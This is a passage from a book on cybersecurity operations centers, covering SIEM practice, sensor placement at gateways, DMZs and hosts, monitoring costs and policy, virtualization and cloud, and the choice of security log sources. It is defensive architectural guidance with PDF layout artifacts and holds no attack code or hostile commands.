slice of data that applies to their portion of the enterprise. Perhaps they don’t get to see events in real time, and they can query events older than 24 hours. The SOC’s mission is, therefore, not diminished—it is still the go-to shop for real-time cyber SA. Third, and perhaps most important, providing large swaths of security logs to a vari - ety of parties will eventually compromise insider threat cases. AV should alert when users download well-known password-cracking and port-scanning software. FTP logs can reveal information leakage and exfiltration of data. Application and Web server logs may indicate malicious or inappropriate behavior on the part of privileged users. Cases involving any of these activities could be blown if word gets back to the perpe - trator before the authorities have completed their investigation. SOCs are well advised 172 to consider what raw data is shared with whom. Alternatively, the risk can be further minimized by providing scheduled roll-up or summary reports instead. ‚New tools mean new processes. Even the most basic SIEMs and LMs enable analysts to triage and analyze event data more efficiently than without such a tool. Despite this, when SIEMs are introduced to a SOC, many analysts stick to their old ways of looking at data. Using a SIEM to tri - age and view data in the same way as the native console provides little added value. When a SIEM is brought in, analysis SOPs need to be modified and training given to break users of their old habits and better utilize their new tools. This may be as simple as tailoring views for Tier 1 such that they’re looking at only the most important events (which constitute .001 percent of all the data collected). These events may be still simple, real-time scrolling events, but at least the system is providing value by automating a portion of data triage. Analysts must be freed to ana-lyze; enforcing monotony will prevent team members from exercising their curiosity and, most likely, drive away those with the most talent. One of the big selling points for SIEM is the ability to bring disparate data feeds into one console. It should be noted, however, that there is nothing wrong with having multiple different views into the data. Some Tier 1 ops floors will separate out differ - ent streams of triage data into various dashboards which can be split up (or shared) amongst different users. This value proposition works only if all event-type security data feeds consumed by the SOC are directed at, and triaged by, the SIEM. Pointing only some feeds at the SIEM while neglecting others diminishes this value. ‚A SIEM is only as good as the data you feed it. The old saying, “garbage in, garbage out,” applies perfectly to SIEMs. We have discussed how the value of even the most relevant, detailed security logs can be completely diluted if we’re not discriminating about everything we bring in. It is of utmost importance to select and tune data feeds according to the constituency envi - ronment, threats, vulnerabilities, and mission. (See Section 9.2 .) One of the by-products of a healthy selection of data sources is that a SOC’s IDSes are essentially put on the same footing as any other source of data (e.g., Web proxy records or application logs). From the perspective of the analysts, IDS alerts are just another data feed among many feeds they can choose from when tailoring a report, correlation rule, or dashboard to a given threat. ‚Lack of a single common data standard can be overcome. The history of audit data aggregation and security data management is paved with industry standards, none of which have had comprehensive adoption: Common Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center173 Intrusion Detection Framework (CIDF) [224], Incident Object Description and Exchange Format (IODEF) [225], Security Device Event Exchange (SDEE) [226] , WebTrends Enhanced Log File (WELF) [227] , Common Event Infrastructure/Common Base Event (CEI/CBE) [228] , Common Event Format (CEF) [229] , and Common Event Expression (CEE) [230] . A common theme among them all is the desire to provide a vendor-agnostic format for recording and ingesting security-relevant data. Inspection of leading SIEM products will yield dozens, if not hundreds, of data parsers, each for a different device type and vendor. SIEM vendors expend a lot of resources to keep these translators up to date. This can be especially frustrating for SOCs with less popular or custom data sources they wish to integrate in the SIEM, even with a good parser SDK from the vendor. As of this book’s writing, convergence on a standard has not occurred, even though we have several. As a result, SIEM vendors and most of their customers continue with the status quo. Most organizations that ingest more than a handful of data types cope with this situation fairly well (although it does consume some resources in updating agent parsers and running down bugs in missing or garbled data). That said, there are a few acute pain points. The first is with moving data in and out of a SIEM, espe - cially when consuming the data from another SIEM. The second, as we mentioned above, is with any SOC that needs to consume data from multiple custom applications that most likely aren’t supported out of the box by a given vendor. Third, many LM products choose to ingest with little post processing, leaving the data in a relatively raw form. ‚Automated response capabilities present the same challenges as IPS. Some SIEM vendors have advertised features in their product whereby a correlation rule can trigger an automated action. Sometimes known as “automated course of action” tools, the SIEM can trigger actions like a firewall rule change, user account deactivation, VPN session termination, or anything else that can be scripted. As we discussed with NIPSes, great care must be taken when implementing any kind of automated prevention. With SIEM, we have an even greater chance for false positives and glitches in end-device integration. This feature is best used in a high-visibility line of business where there is a large pool of privileged users who are under increased scrutiny—perhaps because their actions present financial or mission risk to the enterprise. Financial accounting or IT call centers are excellent examples. Here, user actions can be closely monitored, and there are well-defined business rules that define suspicious or disallowed actions. 174 Very few SOCs have reached a level of maturity where automated response actions might become a realistic option. Before exercising this capability, the SOC may con - sider more complex correlation use cases such as using watch lists or having auto - mated response actions prefetch information (e.g., PCAP data or vulnerability scans) to the analyst. ‚SOCs should architect their collection and retention to support criminal, civil, and administrative proceedings. Ultimately, the electronic evidence a SOC collects may be used by law enforcement, legal counsel, and various investigative bodies, in response to serious incidents. Just as with any artifact collection procedure, the SOC should ensure that the way it gath - ers, stores, and analyzes security-relevant data supports these activities. Moreover, applicable privacy laws may restrict the SOC’s ability to collect or retain certain log types of content. While computer forensics is out of the scope of this book, the SOC may wish to discuss this with legal counsel and examine applicable laws and regu - lations for further guidance on this matter. (See [231] and [232] .) Also, it should be noted that the interpretation of such laws varies widely and can have a profound impact on the cost of the SOC’s log collection and storage architecture. Ensuring that common sense is integrated into system design, along with a well-informed under - standing of the law’s impact, is critical. Maximize the Value of Technology Purchases 175Chapter 9 Stra tegy 7: Exercise Discrimination in the Data You Gather SOCs wishing to gain visibility into their constituencies pursue two comple - mentary strategies: (1) they leverage security-relevant data feeds, and (2) they deploy their own network and host sensors. Acquiring and deploying these capabilities soaks up tremendous amounts of resources, in large part due to the scale and complexity of deployment and the cost of collecting, retaining, and processing the data generated. Too little data means we can’t find or follow up on intrusions. Too much data means the good stuff gets lost in the noise. We wish to address two common problems for SOCs: (1) critical blind spots in coverage, and (2) data flows not being tuned properly. In our seventh strategy, we examine approaches to maximizing our resources when it comes to instrumenting the enterprise. Our goal is to gather the right data in the right amounts from the right places in the enterprise, with the minimal amount of effort and expense. 9.1 S ensor Placement In this section, we discuss where we should place sensor technologies, including: ‚Passive network sensors, including general-purpose NIDS ‚Active network sensors: NIPS and content detonation devices ‚General-purpose HIDS/HIPS ‚Other host-based instrumentation and protection such as configura-tion monitoring and remote forensics support ‚Application-specific protection appliances (XML, database, etc.). 176 Exercise Discrimination in the Data You Gather The choice of technologies used and where to place them is squarely within the CND program, making it the SOC’s job. Participation from other parties such as the CISO, secu - rity, and IT operations is often called for, but preferably the SOC has the lead role. There are many drivers to how a SOC instruments its networks. Principally, we are looking at maximizing coverage throughout the cyber attack life cycle. SOC resources are finite, so we must make careful choices in terms of what technologies to acquire and where to employ them. While we discuss a range of technologies, there are some common themes to effective placement: ‚Match the monitoring technology to the current threat landscape and asset type. ‚Provide maximum breadth and depth, given a finite number of sensors. ‚Guard connections between enclaves and differing trust levels. ‚Provide the CND analyst with relevant, timely, and rich details on network and host activity of concern, covering the entire attack life cycle. ‚Balance resources among competing priorities, such as asset connection to core con - stituency mission and their exposed attack surface and vulnerabilities. ‚Plan for TCO, including acquisition, operation, and maintenance. Many SOCs tend to focus their monitoring resources on the “front door” to their network, such as their Internet gateway(s). While this is usually the top priority, it’s really just the beginning. For instance, a constituency’s core mission systems may communicate with the Internet through separate connections from general email and Web traffic. There is a natural tendency to put a network sensor wherever there is a firewall, yet “forgotten” backdoor connections must not be left out since they often pose an appealing infiltration or exfiltration point for the APT. And that’s just the perimeter; we will also look at how to instrument internal segments of the constituency. By placing monitoring where the adver - sary is most likely to be but does not expect to be seen, the SOC stands a better chance of spotting intrusions sooner. 9.1.1 P assive Network Sensors Passive network sensors—signature-based IDSes, NetFlow sensors, and the like—almost always comprise a plurality of the SOC’s monitoring footprint across its constituency (mea - sured in terms of SOC analysts’ attention). Furthermore, these technologies form the back - bone of the SOC’s SA and are often the first monitoring capability a SOC will deploy. When we discuss architecture and logical placement, we are considering the complete package of technologies discussed in Section 8.2 , along with Section 8.1.4 : ‚Signature and/or heuristics-based IDS monitoring ‚NetFlow and/or traffic metadata “superflow” record generation T en Strategies of a World-Class Cybersecurity Operations Center177 ‚Sustained and ad hoc full PCAP collection ‚Passive OS and service fingerprinting. Referring back to Section 8.2.9 , even if a SOC completely eschews classic signature-based NIDS, it will need some sort of enterprise-class passive network monitoring package that can be deployed widely . When we prioritize passive network sensor placement, we are looking to meet several competing goals with respect to a potential sensor PoP. They are shown in Table 14. Constituency Internet gateways are considered the most obvious and immediate choice for IDS placement. This sensor placement at these locations meets most of the goals we discussed: (1) mission-critical systems usually connect through it, (2) a large proportion of the entire constituency’s traffic goes across it, (3) systems on the other side (the Internet) are completely untrusted, (4) we usually see lots of unencrypted traffic going across it, and (5) we can expect that many constituent systems will expose various vulnerable services through it. Many enterprises that don’t even have a SOC will often choose to place a NIDS or NIPS at their Internet gateway, with monitoring duties falling upon their general IT department or NOC. Beyond major enterprise perimeter points, the choice of network sensor deployment becomes more complicated. We must follow the law of diminishing returns, considering our limited resources. Let’s look at some additional considerations for network sensor placement: ‚Most monitoring products target TCP/IP and Ethernet. Individuals with a background in WAN technologies who approach the topic of net - work intrusion monitoring will often look at WAN gateways as logical points for IDS placement. This presents two problems: (1) most intrusion monitoring technologies operate on Ethernet links and don’t know how to decode an asynchronous transfer mode (ATM) cell (for instance), and (2) these kinds of links often involve high band-width (e.g., 10 Gb and above). It is less common for SOC personnel to have an in-depth knowledge of WAN tech - nologies such as multiprotocol label switching (MPLS), synchronous optical network (SONET), and ATM, and, therefore, the ability to understand the content or placement of a sensor if it were placed at this layer of an enterprise network. As of this book’s writing, most network monitor technologies operate comfortably in the 10 Gb and below range, with some technologies extending to 40 Gb. When we consider full-session network capture, the situation is further complicated. ‚Projected changes in the enterprise architecture Will the PoP have a large number of assets deployed on either side of it in the near future? Conversely, is the PoP about to be decommissioned? 178 Exercise Discrimination in the Data You Gather 1 N etworking proxy devices, such as Web content filters and NATing firewalls are an interesting (if not maddening) case for network sensor placement. Tap points are usually needed on either side of the device in order to see the true source and destination hosts involved. Outside the proxy, all we see is traffic from the proxy to various Web servers. Inside the proxy, we see corporate users surfing the Internet, but we can’t be certain of the IP of the Web server providing the data. Even with sensors on both side of the proxy and proxy logs, this can be a challenge due to how some devices translate traffic and cache data. Engineers must carefully determine the right mix of sen - sor technologies and logs that will give analysts clear visibility into traffic transiting the proxy.Table 14 N etwork Sensor Placement Considerations Goals PoP Example(s) Gain visibility into systems important to con-stituency mission Servers hosting custom mission applications and sensitive data sit behind PoP. Provide coverage for systems that are of espe- cially high value to adversariesSystems behind PoP contain trade secrets, source code, or confidential records. An Internet-facing email gateway serving a large user population Achieve greatest “bang for the buck” by picking PoPs that host a large number of network con- nections (e.g., network “choke points”)All network traffic between two major cor - porate regions transit PoP, covering 10,000 systems Protect systems that sit on the trusted side of a controlled interface (e.g., a firewall)PoP is between university dorm networks and the university’s registrar’s office. Company A’s servers communicate with Com- pany B’s servers across a private link. Have complete insight into the traffic being observed (e.g., it is not encrypted and uses pro- tocols the sensor understands)On the unencrypted side of a VPN termination point or SSL accelerator On both sides of a NATing firewall or Web proxy 1 Leverage passive monitoring as a compen-sating control for systems that lack critical security features or have serious unmitigated vulnerabilitiesUnpatched systems providing various services to systems on the other side of the PoP, with no firewall protecting them Legacy systems that cannot be patched and respond nondeterministically to incorrectly formatted protocols T en Strategies of a World-Class Cybersecurity Operations Center179 What kind of bandwidth will be seen at the PoP in the near future, and, therefore, how much overhead should be left in the chosen hardware and software? One key success point is to work with network owners to acquire throughput sta - tistics for proposed sensor PoPs prior to hardware acquisition and deployment. This allows SOC engineers to plan for hardware resources needed, taking into account protocols that can be filtered out of the monitored stream. ‚Maintainability and access Is the PoP physically located where sensor(s) have good connectivity and bandwidth back to core SOC systems? Can SOC sysadmins physically access the equipment, or can a TA at the site perform touch maintenance when needed? ‚Existence of other monitoring capabilities If the SOC can’t put a sensor at a given location (for whatever reason), what alterna - tives such as robust log feeds can offset this blind spot? If a PoP already has network or host sensors on it, what will new log feeds tell us that’s different from what the sensors can provide? ‚Previous incidents and adversary engagement Even if a small number of assets sit behind a PoP or their mission criticality is fairly low, the SOC may choose to put a sensor there because one or more incidents have occurred on those assets in the past. Having focused monitoring capabilities may help analysts run future suspected intru - sions to ground much quicker, instead of having to piece together proxy or NAT logs from a firewall or wading through many terabytes of PCAP. ‚Ownership of assets The SOC may have restricted ability to place monitoring capabilities on a network, on the basis of system ownership issues. These issues may bring up such situations as (1) comingled government or com- mercial assets, (2) outsourced or cloud computing, (3) business-to-business (B2B) or government-to-government (G2G) connections, (4) internal or external contracting of IT services, or (5) coexistence of multiple SOCs within a larger organization. The SOC may consider partnering with other network operations teams and SOCs to ensure that networks of mixed or ambiguous ownership are monitored by someone. Across the PoPs where SOC chooses to deploy passive network monitoring, some of these will no doubt include full-session PCAP capture. This choice is also driven by the 180 same factors that drive general passive network monitoring placement. However, it cer - tainly is more constrained by a few factors: long-haul bandwidth to retrieve PCAP and storage for PCAP at the sensor. The choice to record full-session data is often driven by Tier 2’s needs to run incidents to ground—where are they getting hit most often, and, therefore, where are network traffic details needed? 9.1.2 A ctive Network Sensors and Content Detonation When considering active network sensors, we leverage the same criteria and considerations for passive sensors but with more selectivity, considering the higher costs associated with acquiring them, and their performance limitations. If we had 20 places where a NIDS would make sense, perhaps only two or three really need a NIPS in active prevention mode. The most obvious place where we would want to put a NIPS is where we wish to block direct network-borne attacks, perform bandwidth throttling or “packet shaping,” or filter out specific content such as games in social network sites. This would usually be done at an Internet gateway, but major transit or interconnection points within the network or WAN also sometimes make sense. Consider, for instance, being able to block an adversary as it moves laterally across the constituency. The choice of where to put content detonation devices is perhaps the most straight - forward—at any gateways where we exchange email or Web traffic with the Internet or between large networks of differing trust levels. Ideally the constituency has a small num-ber of these, and, therefore, few devices are needed. The SOC may also choose to host its own out-of-band content detonation device in its enclave for the purpose of ad hoc malware analysis. 9.1.3 Pur pose-Built Monitoring Devices Rounding out our conversation of network-based sensors, we address application-specific monitoring and prevention devices such as XML firewalls. Use of these devices is very straightforward. Basically, any system that serves a large number of semitrusted or untrusted users with a corresponding protection technology is a candidate for such a device. For instance, a Web services interface between a government agency and many private corporations’ business-to-government (B2G) connections might be a good place for an XML firewall. An externally facing Web server that allows members of the public to access health or financial records might be well served by a database firewall. While these are certainly intrusion monitoring and defense capabilities, they are also tightly embedded in key applications. Deployment and tuning of these systems should be done in coordination with respective sysadmins.Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center181 9.1.4 H ost Sensors Network-based sensors usually get top billing on the SOC’s monitoring capabilities list, but they certainly don’t provide complete visibility, especially in the presence of obfuscated or encrypted protocols. That said, not every SOC has the money and the time to deploy a full suite of monitoring and prevention capabilities to every host in the enterprise. What should we prioritize? Let’s look at what factors should be maximized when considering which hosts to instrument first. (See Table 15.) Table 15 H ost Monitoring Placement Considerations Maximize Example(s) Importance of hosted data and applications’ confidentiality, integrity, and availability to mission—possibly expressed in dollars, lives, or impacted usersKey enterprise database servers, billing systems, manufacturing automation control, or supervisory control and data acquisition (SCADA) systems Number and strength of trust relationships between that system and other hosts, espe-cially hosts residing in other enclavesWeb server directly exposed to Internet Web services systems forming a B2B relationship with a partner company Remote access VPN or webmail servers Number of, and privileges wielded by, users on that system, especially users residing in other enclavesWeb-enabled financial application server; call center ticketing system Vulnerability and attack surface exposed by system(s) of concern Any server that cannot be regularly patched for whatever reason—legacy, operational demands, fragility, and so forth Stability, maturity, applicability of protection mechanism(s) to that platformFull HIPS suites for Windows platforms; other components for major UNIX/Linux flavors Again, it is important not to forget the lessons from Section 8.3.10 —not all monitoring tools are applicable to all hosts. In many cases, the most important systems in the constitu - ency are not well suited for a typical HIDS/HIPS suite. We may depend on other tools like configuration checkers, robust logging, and native OS host firewalling to get the job done. It also should be noted that many SOCs that do pursue pervasive host monitoring architec - tures spend a lot of time identifying, diagnosing, and solving integration issues and high-priority alerts with IT operations and system owners. Prioritizing which alerts to follow up on is key, and the SOC is well advised to take a holistic look at its triaging and escalation process. 182 9.1.5 Examples Using the lessons and considerations discussed in this section, let’s examine some common network and host sensor placement scenarios. In our first example, we instrument the main portion of constituency networks, where users perform their regular business computing and access services from the intranet and the Internet. (See Figure 26.) Let’s go over the instrumentation of this network, starting with the Internet gateway at the top left. Here we have a passive sensor or set of sensors that gather SuperFlow data and IDS alerts from each leg of the externally facing firewall. In addition, the SOC may choose to perform sustained PCAP collection on some or all of the traffic on each leg. As an aside, there is a philosophical debate amongst sensor architects as to whether IDSes go on the inside or outside of the firewall. Here, we are doing both, due to the proxying nature of the firewall—putting a sensor on just one side may not tell the whole story. It should be noted, Exercise Discrimination in the Data You Gather Figure 26 Instrumenting an Internet GatewayNATing firewall/ boundary device Constituents DMZ SwitchInternetConstituencyBusiness LAN Passive network IDS, SuperFlow, PCAPIn-line network IPS Passive network IDS, SuperFlow, ad-hoc PCAP Remote SiteWeb proxyEmail contentdetonationWebcontentdetonation HostmonitoringsuiteHost monitoring suite IntranetDMZfirewall Email proxy &spam filterBorder DNS server T en Strategies of a World-Class Cybersecurity Operations Center183 though, that alerts coming from a sensor on the external side of a firewall should be tri - aged with an understanding that a large portion of scanning and exploit activity probably bounced off the firewall and is of no great concern. Every constituency border DMZ is shaped differently. In this example, we have email and Web proxies hanging off a leg of the firewall. In the gateway DMZ, we leverage email and Web content detonation to detect zero-day attacks from Web pages and email attach - ments. The architecture pictured allows us to actually block malicious email and Web content by placing the content detonation devices in-line with their respective proxies. Moving to the internal LAN at the top right, we have an in-line NIPS looking for any direct attacks inbound or outbound from the general user population. The internal network segment flowing from the firewall is probably the most logical place to put this technol - ogy, given its cost and the relative rarity of directed attacks that can be seen on the wire. Ideally speaking, the SOC is also able to instrument desktops belonging to the general host population. Referring to Section 8.3 , we will probably leverage a combination of HIDS/ HIPS, AV, and antispyware, understanding each of these products’ limitations. We may choose to augment this with other packages such as on-demand host forensics and host telemetry data collection. Chances are, most constituencies also have a significant number of Intranet services that may be found in a consolidated location, possibly behind a firewall. This is an excel - lent point in the network to look for adversaries traversing the internal network and insider threat. In such cases, it’s useful to see the traffic going by this connection with SuperFlow collection and passive IDS. Full PCAP collection may be too costly considering that traf - fic capture retrieval may not be frequently needed. That said, it’s always a good idea to have ad hoc PCAP collection capability on any sensor. If there’s anywhere internal to the enterprise that an active or passive host monitoring suite should be placed, it’s probably on these servers: intranet Web servers, finance, database, and domain controllers. Finally, we see a remote constituency site (or sites) hanging off the bottom of the diagram. These are really good places to perform SuperFlow collection and passive content inspection, again, looking for malicious actors moving around inside the network where they’re least wary of being seen. In these cases, we also want to have ad hoc PCAP collec - tion tools at our disposal. If there are a large number of satellite campuses, the SOC may consider collecting NetFlow data from border routers in order to maximize their visibility while keeping their IDS appliance count to a minimum (thereby reducing costs). Moving on to externally facing services, we have the scenario shown in Figure 27.In this example, the constituency is offering access to sensitive data to external par - ties such as the general public or another institution such as a business or a government agency. The data is probably being provided through an interactive Web portal and/or 184 machine-to-machine Web services. In either case, there are common elements to the moni - toring architecture, so we will address both at the same time. First, on the left, we have our usual passive IDS and SuperFlow collection at the border of the DMZ. There are several key points to note here. First, we won’t bother with NIPS because there are so few protocols flowing in and out of this DMZ that a general-purpose sensor will provide limited benefit. Second, although we are monitoring the network link in between the SSL accelerators and firewall, this traffic is encrypted. Therefore, monitor - ing is best limited to perhaps inspection of SSL handshakes and connection metadata; PCAP collection here is of almost no use. Third, if we are using a general-purpose IDS, we will probably turn off rules for almost all protocols that are not Web-related. A net - work sensor geared toward Web traffic monitoring may be a better choice, or the SOC may choose simply to rely on Web server logs and Web application logs and dispense with NIDS altogether. Fourth, if the web server’s logs are of sufficient fidelity, SuperFlow collection may not be necessary. Inside the SSL accelerators, we can leverage an XML firewall to inspect highly struc - tured data flowing in and out of the Web services interface. Similarly, we may also choose to use an SQL firewall in front of a relational database on the backend. Some implementa-tions may feature both capabilities, though this may be seen as overkill. Finally, we will place a host monitoring and prevention package on each server. 9.1.6 Cost Going back to the Internet gateway example, we have a long list of sensors and log sources we might leverage when looking for or running potential incidents to ground:Exercise Discrimination in the Data You Gather Figure 27 Instrumenting an External-Facing DMZDMZ firewallSSL accelerator(s) Passive network IDS,SuperFlow,ad-hoc PCAPXML firewallWeb servicesgateway Host monitoring/prevention package on all servers DatabaseSQL firewall Application/content serversWeb serverInternet T en Strategies of a World-Class Cybersecurity Operations Center185 ‚Firewall logs ‚Web/email gateway filtering and logs ‚In-band NIPS ‚Out-of-band NIDS outside firewall ‚Out-of-band NIDS inside firewall ‚Out-of-band NIDS on DMZ leg ‚SuperFlow and PCAP inside firewall ‚SuperFlow and PCAP outside firewall ‚SuperFlow and PCAP on DMZ leg ‚Email and Web malware detonation chamber ‚HIPS on every applicable host. Not all SOCs have the resources to instrument their Internet gateway to such a degree, let alone other parts of the enterprise. Let’s look at some techniques for keeping costs related to monitoring coverage under control: ‚Prioritize sensor placement using the law of diminishing returns with respect to Table 14 and Table 15. ‚FOSS can dramatically reduce acquisition costs, provided the SOC has expertise with these technologies in-house: • The most mature SOCs will find a synthesis of commercial, free, and custom tools that meets their needs. • Consider leveraging open source tools in deployment scenarios that compose the largest “box count,” with expensive tools used only in critical focus areas. ‚Operate a modest set of tools well, rather than a large number of tools poorly. • Some SOCs are lucky enough to receive significant sta tup funds; this may result in a plethora of different technologies that are expensive to maintain over time. • Consider a standard set of “strike packages” that are applicable to most common monitoring scenarios. ‚Use each sensor to its maximum potential, without dropping many packets. • In large networks, many IDSes sit relatively idle while a handful of sensors are maxed out. • Consider consolidating multiple monitoring taps for low-bandwidth connection into one sensor or rely solely on NetFlow and application logs. • Properly size sensor platforms to current and projected bandwidth. ‚Leverage firewall logs and NetFlow in places where it’s not possible to put a network sensor (due to logistics, cost, network ownership, etc.). ‚Ensure monitoring technologies match the current and projected threat environment. 186 • Invest in technologies that match modern and growing threats; as of the writing of this book, these would likely include client-side attacks and activity associated with APT. • Careful, requirements-driven product evaluations provide insight into internal architecture, allowing the SOC to gauge whether a product and its company will have room for growth, or whether the product is built on a shaky foundation. 9.1.7 Policy One of the most effective ways for a SOC to ensure comprehensive, mission-relevant moni - toring coverage is to have these needs articulated in an IT policy for engineering of new sys - tems and services. The SOC, however, must be very sensitive to how these policies impact constituency resourcing for new and ongoing projects. When authoring policy mandating monitoring coverage for the constituency, consider the following: ‚A standard set of “strike packages” helps support judicious use of policies. • Cut-and-dried directives like “deploy this package on XYZ systems” can work in some cases (e.g., Windows desktops and servers) but much less so in others. • Mandating the deployment of a specific tool, especially on the host, can become onerous with larger constituencies, which is the case with coordinating SOCs. • A good alternative is to mandate that certain capabilities exist and provide enter - prise licensing for a tool that meets the need. In this way constituent programs and subordinate SOCS can use their own, if they so choose. ‚One of the best ways to incorporate network-based monitoring is to require new and expanded projects to coordinate with the SOC to assess needs and implement the right level of monitoring. • This helps the SOC work with system owners to understand their mission and tailor capabilities accordingly. • This also helps the SOC build credibility with constituents and ensures that all par - ties are aware of appropriate escalation contacts and processes. ‚It is simplest for SOCs to maintain their own budget supporting comprehensive moni - toring coverage and staffing. • It helps the SOC advertise its capabilities as a service and documents its cost sav - ings to other programs and projects. • Moving to a fee-for-service model or “tax” can become challenging: many programs and projects will not budget for new capabilities, and the SOC’s year-to-year budget planning will become overly complex or subject to third parties that the SOC will have a hard time influencing.Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center187 • Some SOCs will look to especially large projects to help fund monitoring tools at initial deployment time and will build in recap and staffing costs for outyears. ‚Larger coordinating or tiered/distributed SOCs may formulate a standard memo - randum of agreement (MOA) or memorandum of understanding (MOU) to formally recognize tailored monitoring capabilities for certain enclaves. • This helps document monitoring duties, technical POCs, and management POCs in the long term. • Constituency programs will often feel better served when their specific monitoring needs are codified in some sort of documented format, versus informal agreements. • The SOC can establish expectations for what system owners will receive in return, such as regular cyber SA reporting; more than a “we’ll call you when we see some - thing bad” is helpful. 9.1.8 V irtualization and the Cloud Our discussion of how to instrument constituent systems assumes that they are hosted internally to the constituency. Moreover, traditional instrumentation assumes bare-metal installation of hosts and services, where one entity owns the entire computing “stack.” As of the writing of this book, there is a massive shift to virtualized infrastructure, and many services are being pushed into the “cloud” [233]. In the case of virtualization, not that much changes in terms of how to instrument the network. There are a few issues to look out for, however. When we introduce hardware virtualization (e.g., VMware ESX/ESXi) into the environment, we also end up virtualizing a significant portion of the LAN architecture, whereby VMs may talk to one another with - out ever traversing a physical switch or router. This can present a challenge because most active and passive IDS/IPS technology depends on having a physical network segment to copy network traffic from, or to insert a device into. Luckily, several commercial vendors now have virtual IDS/IPS appliances that can be inserted directly into the virtualized infrastructure. Or, if a SOC wants to go the FOSS route, Snort and Argus could be loaded onto a VM that lives in the server farm. Three challenges remain. First, performing gigabit (or greater) PCAP and traffic meta- data collection entails nontrivial storage and performance that the virtualized environment may not readily support. Second, the virtualized sensor platform may require specific configurations and control not normally granted to tenant organizations such as the SOC. Third, the confidentiality, integrity, and availability of those sensors may be harder to guarantee when resident in a third-party hosted environment. When implementing sensor platforms in a third-party environment, the SOC will likely need to work with its infra - structure provider to ensure its unique needs are met. 188 Moving on to cloud computing, instrumenting our networks becomes much more challenging. In all common scenarios (platform-, software-, or infrastructure-as-a-service [PaaS, SaaS, IaaS]) the landlord, not the tenant, controls the network infrastructure. As a result, the SOC’s options for use or placement of sensor technologies may be severely limited. Sometimes the landlord/cloud provider will include security monitoring feeds as part of its service or as an optional capability. This can be problematic if the SOC has its own platform of choice, which is usually the case. While the cloud provider may agree to provide the SOC alerts from its own IDSes, the SOC may not be able to influence tool choice or signature tuning, which usually is a requisite for most SOCs to make good use of an IDSes. In some cases, the best option for the SOC may be to enhance its log collection from systems moved to the cloud. In the case of IaaS, the SOC should include some sort of HIDS/HIPS packages as well. Alternatively, the SOC’s parent organization may wish to outsource CND for the por - tion of its enterprise that exists in the cloud to the cloud owner or its designated CND provider. This arrangement often works best for IT assets that can be somewhat cleanly separated from the rest of the constituency (e.g., an Internet-facing Web presence that serves largely static content). With such an arrangement, there is comparatively little ambiguity between the roles of each SOC. Nevertheless, it’s important for the constituency SOC to establish clear lines of communication and service agreements with the cloud-provider SOC. As an aside, effective instrumentation is only one challenge for the SOC when dealing with outsourced or cloud assets. When the SOC’s parent entity does not own the entire computing stack, aspects of control and response become much more challenging. If a host is infected, can it be taken offline quickly? Can it be imaged? Even if the answer is yes, what SLAs are in place to support this? In order to support better defense, the SOC should pursue opportunities to influence how IT is outsourced to the cloud whenever possible. 9.2 S electing and Instrumenting Data Sources One of the most frequent questions posed by SOCs is, “What log data should we gather?” Every constituency is different, so, while there are many common themes we will discuss, the answer always varies. This section captures these commonalities and presents a prag - matic, operations-driven approach to prioritizing what data to gather. 9.2.1 C hoosing the Right Data Sources In the modern enterprise, there are several drivers for collection of IT security log data: ‚Computer network defense ‚Insider threat monitoring and audit collectionExercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center189 ‚Performance monitoring ‚Maintenance troubleshooting and root-cause analysis ‚Configuration management. While all of these missions have overlap both technically and organizationally, the SOC is often at the nexus of log collection since it needs to pull from so many different sources. It is easy to get buried in log data, so it is important for the SOC to take a concrete, requirements-based, value-driven approach to collection, use, and retention. Let’s look at some key questions, understanding they will drive not only what data we collect but which systems we collect it from, whether we filter or deduplicate it, and how long we retain it—in what format and under what circumstances: ‚What is the mission of the systems being considered for monitoring? • Each monitored system’s link to the mission • Mission criticality (monetary, lives, etc.). ‚What trust is placed in users of the system(s) and hosted services? ‚What is the assessed or perceived level of integrity, confidentiality, or availability of the system(s), data, and services? ‚What is the perceived and assessed threat environment? How exposed are systems to likely adversaries? ‚Are the systems (or their audit data) under any sort of legal, regulatory, audit-related, or statutory scrutiny, outside of those placed on it by the SOC? 1 ‚What quality, visibility, and attack life cycle coverage is offered by host or network CND sensor instrumentation (IDS/IDS) on or near hosts in question? Is that enough, or do we need logs as well? ‚Quality and clarity of logs produced: • Human and machine readability; does the log use cryptic messages and obscure encoding, or can a human easily read it in a consistent American Standard Code for Information Interchange (ASCII) format? • Does one log entry correspond to one logical event, or is human or machine correla-tion needed to piece together several disparate audit records? • Are the clocks of all systems considered for monitoring synchronized? 1 T his can be politically sensitive. The SOC may be compelled to collect logs for regulatory reasons, even though the SOC doesn’t otherwise need them. The SOC is encouraged to take an objective look at the impact of policy and procedure on log collection, ensuring it does not place undue burden on SOC resources. Audit log policy is a topic often dominated by guesses and innuendo and not so much by facts and good judgment. Just because someone has to collect and retain a log doesn’t mean it has to be the SOC. 190 • Do the events include details of what actually happened (e.g., extra data fields and human attribution)? • Are system owners willing to adjust their logging polices to meet SOC needs? ‚Availability of logs: • Are logs written in an open format that is vendor neutral, and/or can they be inter - preted out of the box by audit collection tools or SIEM currently in use? • If no existing parsers exist, what resources are needed to make appropriate use of them within their intended data aggregation or analytic framework? • Are system owners willing to provide direct or mediated access to log data in their original format and in real time? • What is the overall volume of logs being written? Will the networks and systems that connect the source system with the master SIEM or log aggregation node sup - port the requisite bandwidth and disk space? Could the logs be scheduled for batch transmission and input at off hours, and, if so, can the correlation engine cope with this delayed ingest of data? ‚Coverage that the logs provide: • Will a given log feed cover a wide portion of the constituency, such as with Windows domain controller or Web proxy logs? • Or will the logs provide enhanced coverage for a specific high-value application (e.g., a financial management system) that deserves deep visibility and detailed monitoring use cases? ‚Collection and analytic framework: • Does the SOC have an existing log aggregation or SIEM tool in place? • If the tool can accept said log type, does it provide the analytical framework and correlation tools necessary to make good use of the data? • Will introduction of this new log data into the existing collection and analytic framework dilute the quality of the logs already being gathered? Will it severely slow analysts’ ability to access the most important log feeds? Make no mistake about it, when it comes to enterprise-grade audit collection, the devil is certainly in the details. Many enterprise audit efforts become infamous for their high resource cost and low perceived return on investment. It bears repeating: the SOC must carefully evaluate, tune, and retune every log feed it collects in order for its efforts to be worthwhile. Here’s one way to get started. Pick a handful of use cases or threats the SOC wishes to detect, pick which feeds are necessary to build out those use cases, and then put them into operation. There are several virtues to this approach: (1) the SOC has a clear set of Exercise Discrimination in the Data You Gather T en Strategies of a World-Class Cybersecurity Operations Center191 requirements and goals to meet, (2) there is a 